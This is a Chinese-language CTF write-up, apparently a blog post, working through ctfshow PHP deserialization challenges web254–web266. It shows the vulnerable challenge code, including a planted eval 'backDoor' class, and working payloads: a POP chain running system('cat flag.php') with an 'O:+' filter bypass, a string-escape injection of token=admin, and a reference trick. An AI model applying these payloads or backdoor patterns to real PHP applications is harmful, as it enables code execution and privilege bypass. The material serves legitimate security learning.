• 通过ctfshow学习php反序列化


    通过ctf几道题学习php的反序列化

    web254

    web255

    web256

    web257

    web258

    web259

    web260

    web262

    web263

    web264

    web265

    web266


    web254

    error_reporting(0);
    highlight_file(__FILE__);
    include('flag.php');
    
    class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
    
        public function checkVip(){
            return $this->isVip;
        }
        public function login($u,$p){
            if($this->username===$u&&$this->password===$p){
                $this->isVip=true;
            }
            return $this->isVip;
        }
        public function vipOneKeyGetFlag(){
            if($this->isVip){
                global $flag;
                echo "your flag is ".$flag;
            }else{
                echo "no vip, no flag";
            }
        }
    }
    
    $username=$_GET['username'];
    $password=$_GET['password'];
    
    if(isset($username) && isset($password)){
        $user = new ctfShowUser();
        if($user->login($username,$password)){
            if($user->checkVip()){
                $user->vipOneKeyGetFlag();
            }
        }else{
            echo "no vip,no flag";
        }
    } 
    

    分析

    先初始化ctfShowUser类,然后在后面的if中先判断变量是否设置,然后new一个新对象$user,用户输入的参数与$user对比是否一致,所以只需要传入username='xxxxxx'&password='xxxxxx'

    实现

    payload:username='xxxxxx'&password='xxxxxx'
    

    web255

    class ctfShowUser{ 
        public $username='xxxxxx'; 
        public $password='xxxxxx'; 
        public $isVip=false; 
    
        public function checkVip(){ 
            return $this->isVip; 
        } 
        public function login($u,$p){ 
            return $this->username===$u&&$this->password===$p; 
        } 
        public function vipOneKeyGetFlag(){ 
            if($this->isVip){ 
                global $flag; 
                echo "your flag is ".$flag; 
            }else{ 
                echo "no vip, no flag"; 
            } 
        } 
    } 
    
    $username=$_GET['username']; 
    $password=$_GET['password']; 
    
    if(isset($username) && isset($password)){ 
        $user = unserialize($_COOKIE['user']);     
        if($user->login($username,$password)){ 
            if($user->checkVip()){ 
                $user->vipOneKeyGetFlag(); 
            } 
        }else{ 
            echo "no vip,no flag"; 
        } 
    
    

    分析

    先初始化ctfShowUser类,然后在后面的if中先判断变量是否设置,然后通过反序列化获取对象赋值给$user(序列化将对象保存到字符串,反序列化将字符串恢复为对象),反序列化的值是user的cookie,之后要求checkVip为true,然后执行vipOneKeyGetFlag()得到flag

    要让isvip为true才能执行后面的函数得到flag,所以我们要写一个php序列化函数传到cookie,然后经过反序列化由赋值给$user,然后isvip去之前的一致得到flag。注意在cookie字段当中需要url编码一波,其名称以及存储的字符串值是必须经过URL编码

    实现

    web256

    error_reporting(0);
    highlight_file(__FILE__);
    include('flag.php');
    
    class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
    
        public function checkVip(){
            return $this->isVip;
        }
        public function login($u,$p){
            return $this->username===$u&&$this->password===$p;
        }
        public function vipOneKeyGetFlag(){
            if($this->isVip){
                global $flag;
                if($this->username!==$this->password){
                        echo "your flag is ".$flag;
                  }
            }else{
                echo "no vip, no flag";
            }
        }
    }
    
    $username=$_GET['username'];
    $password=$_GET['password'];
    
    if(isset($username) && isset($password)){
        $user = unserialize($_COOKIE['user']);    
        if($user->login($username,$password)){
            if($user->checkVip()){
                $user->vipOneKeyGetFlag();
            }
        }else{
            echo "no vip,no flag";
        }
    }
    
    

    分析

    大部分思路与web255相似,唯一区别在

    要求username不等于password。

    web257

    class ctfShowUser{
        private $username='xxxxxx';
        private $password='xxxxxx';
        private $isVip=false;
        private $class = 'info';
    
        public function __construct(){
            $this->class=new info();
        }
        public function login($u,$p){
            return $this->username===$u&&$this->password===$p;
        }
        public function __destruct(){
            $this->class->getInfo();
        }
    
    }
    
    class info{
        private $user='xxxxxx';
        public function getInfo(){
            return $this->user;
        }
    }
    
    class backDoor{
        private $code;
        public function getInfo(){
            eval($this->code);
        }
    }
    
    $username=$_GET['username'];
    $password=$_GET['password'];
    
    if(isset($username) && isset($password)){
        $user = unserialize($_COOKIE['user']);
        $user->login($username,$password);
    }
    
    

    分析

    能利用的点是eval函数输出php代码进行命令执行,所以我们需要在初始化backDoor类,然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。

    实现

    别人的payload(https://y4tacker.blog.csdn.net/article/details/110499314)

    web258

    error_reporting(0);
    highlight_file(__FILE__);
    
    class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
        public $class = 'info';
    
        public function __construct(){
            $this->class=new info();
        }
        public function login($u,$p){
            return $this->username===$u&&$this->password===$p;
        }
        public function __destruct(){
            $this->class->getInfo();
        }
    
    }
    
    class info{
        public $user='xxxxxx';
        public function getInfo(){
            return $this->user;
        }
    }
    
    class backDoor{
        public $code;
        public function getInfo(){
            eval($this->code);
        }
    }
    
    $username=$_GET['username'];
    $password=$_GET['password'];
    
    if(isset($username) && isset($password)){
        if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){
            $user = unserialize($_COOKIE['user']);
        }
        $user->login($username,$password);
    }
    
    

    分析

    构造pop链时可以用到str_replace函数。在257基础上增加了一串正则表达式。因为正则把O:过滤了,可以利用str_replace函数把O:换成O:+

    实现

    class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=true;
        public $class = 'backDoor';
        public function __construct(){
            $this->class=new backDoor();
        }
        public function __destruct(){
            $this->class->getInfo();
        }
    }
    class backDoor{
        public $code="system('cat flag.php');";
        public function getInfo(){
            eval($this->code);
        }
    }
        
    $a = new ctfShowUser();
    $a = serialize($a);
    $a= str_replace('O:','O:+',$a);
    echo urlencode($a);

    web259(还不会)

    
    
    

    利用的是php原生类SoapClient

    web260

    <?php
    
    error_reporting(0);
    highlight_file(__FILE__);
    include('flag.php');
    
    if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
        echo $flag;
    }
    
    

    分析

    get传参的值序列化之后要有ctfshow_i_love_36D,所以传ctfshow=ctfshow_i_love_36D

    实现

    payload:ctfshow=ctfshow_i_love_36D
    

    web262

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-03 02:37:19
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-03 16:05:38
    # @message.php
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    error_reporting(0);
    class message{
        public $from;
        public $msg;
        public $to;
        public $token='user';
        public function __construct($f,$m,$t){
            $this->from = $f;
            $this->msg = $m;
            $this->to = $t;
        }
    }
    
    $f = $_GET['f'];
    $m = $_GET['m'];
    $t = $_GET['t'];
    
    if(isset($f) && isset($m) && isset($t)){
        $msg = new message($f,$m,$t);
        $umsg = str_replace('fuck', 'loveU', serialize($msg));
        setcookie('msg',base64_encode($umsg));
        echo 'Your message has been sent';
    }
    
    highlight_file(__FILE__);
    
    
    
    
    
    //message.php下的源码
    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-03 15:13:03
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-03 15:17:17
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    highlight_file(__FILE__);
    include('flag.php');
    
    class message{
        public $from;
        public $msg;
        public $to;
        public $token='user';
        public function __construct($f,$m,$t){
            $this->from = $f;
            $this->msg = $m;
            $this->to = $t;
        }
    }
    
    if(isset($_COOKIE['msg'])){
        $msg = unserialize(base64_decode($_COOKIE['msg']));
        if($msg->token=='admin'){
            echo $flag;
        }
    }
    

    分析

    在标题注释里面有个message.php 猜测可以试一下 得到以下代码。

    在message.php这个页面中,输入msg作为cookie参数然后base64解密再反序列化赋值给$msg,判断token是否等于admin,然后获取flag。 所以第一步我们需要先将$token='admin';序列化得到 O:7:"message":1:{s:5:"token";s:5:"admin";}
    我们只需要用到{s:5:"token";s:5:"admin";}这一部分,通俗的讲我们需要构造一个长度跟{s:5:"token";s:5:"admin";}一样的字符串将序列化好的结构打乱,让需要利用的地方通过反序列化函数最后获取flag。通过python可以知道";s:5:"token";s:5:"admin";}的长度(必须要在s:5:"token";s:5:"admin";}前面加上";->";s:5:"token";s:5:"admin";}),
    然后通过

    这几句话可以知道每出现一个fuck或者loveU可以替换一个字符,一个27个,所以需要构造27个fuck或者loveU,与";s:5:"token";s:5:"admin";}拼接,其他变量何以为任意。这样序列化对应的27为长度在过滤后的序列化会被27个fuck或者loveU填充,从而使我们构造的代码 ;s:5:"token";s:5:"admin";}成功逃逸。

    实现

    1. 写php脚本

    1. 构造patyload

       ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
      
    2. 访问message.php

    然后访问message.php得到flag

    web263(php session反序列化漏洞)

    参考博客

    参考博客

    参考博客

    参考博客

    分析

    session反序列化漏洞过程可以理解为,1.先获取cookie建立连接 2.抓包修改cookie成序列化字符串 3.然后在访问check.php,这样子cookie中的序列化字符串会传入到check.php中实现了命令执行 4.然后访问写入的php文件即可得到flag

    还是看大佬们的博客吧

    web264

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-03 02:37:19
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-03 16:05:38
    # @message.php
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    
    error_reporting(0);
    session_start();
    
    class message{
        public $from;
        public $msg;
        public $to;
        public $token='user';
        public function __construct($f,$m,$t){
            $this->from = $f;
            $this->msg = $m;
            $this->to = $t;
        }
    }
    
    $f = $_GET['f'];
    $m = $_GET['m'];
    $t = $_GET['t'];
    
    if(isset($f) && isset($m) && isset($t)){
        $msg = new message($f,$m,$t);
        $umsg = str_replace('fuck', 'loveU', serialize($msg));
        $_SESSION['msg']=base64_encode($umsg);
        echo 'Your message has been sent';
    }
    
    highlight_file(__FILE__);
    
    
    
    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-03 15:13:03
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-03 15:17:17
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    session_start();
    highlight_file(__FILE__);
    include('flag.php');
    
    class message{
        public $from;
        public $msg;
        public $to;
        public $token='user';
        public function __construct($f,$m,$t){
            $this->from = $f;
            $this->msg = $m;
            $this->to = $t;
        }
    }
    
    if(isset($_COOKIE['msg'])){
        $msg = unserialize(base64_decode($_SESSION['msg']));
        if($msg->token=='admin'){
            echo $flag;
        }
    }
    

    分析

    思路是跟web262很像,只是在message.php下cookie变成了session。

    cookie变成了session, 所以不能直接修改cookie。它需要什么就加什么,需要传一个cookie的msg值,抓包以后在cookie那里加上msg=1就可以了。

    过程

    web265

    php引用符&(https://www.jb51.net/article/174133.htm)

    error_reporting(0);
    include('flag.php');
    highlight_file(__FILE__);
    class ctfshowAdmin{
        public $token;
        public $password;
    
        public function __construct($t,$p){
            $this->token=$t;
            $this->password = $p;
        }
        public function login(){
            return $this->token===$this->password;
        }
    }
    
    $ctfshow = unserialize($_GET['ctfshow']);
    $ctfshow->token=md5(mt_rand());
    
    if($ctfshow->login()){
        echo $flag;
    }
    
    
    
    
    

    实现

    class ctfshowAdmin{
        public $token = 'a';
        public $password = 'a';
        public function __construct(){
            $this->token = 'a';
            $this->password =& $this->token;
        }
    }
    echo serialize(new ctfshowAdmin());
    
    

    web266

    highlight_file(__FILE__);
    
    include('flag.php');
    $cs = file_get_contents('php://input');
    
    
    class ctfshow{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public function __construct($u,$p){
            $this->username=$u;
            $this->password=$p;
        }
        public function login(){
            return $this->username===$this->password;
        }
        public function __toString(){
            return $this->username;
        }
        public function __destruct(){
            global $flag;
            echo $flag;
        }
    }
    $ctfshowo=@unserialize($cs);
    if(preg_match('/ctfshow/', $cs)){
        throw new Exception("Error $ctfshowo",1);
    
    

    实现

    php写脚本

    class ctfshow{
        public $username='xxxxxx';
        public $password='xxxxxx';
    }   
    echo serialize(new ctfshow());
    

    通过post传参。 但是需要注意大小写。 最后两行源码过滤了ctfshow

  • 相关阅读:
    matlab-vrep程序控制方法
    .ipyb文件怎么转成 .py文件
    python技巧
    gradle初步认识
    StringUtils
    Elasticsearch、Logstash和Kibana ELK
    redisTemplate、jedis、redission的对比
    唯一ID
    spring相关组件简介
    新电脑环境配置
  • 原文地址:https://www.cnblogs.com/zjhzjhhh/p/14243627.html
Copyright © 2020-2023  润新知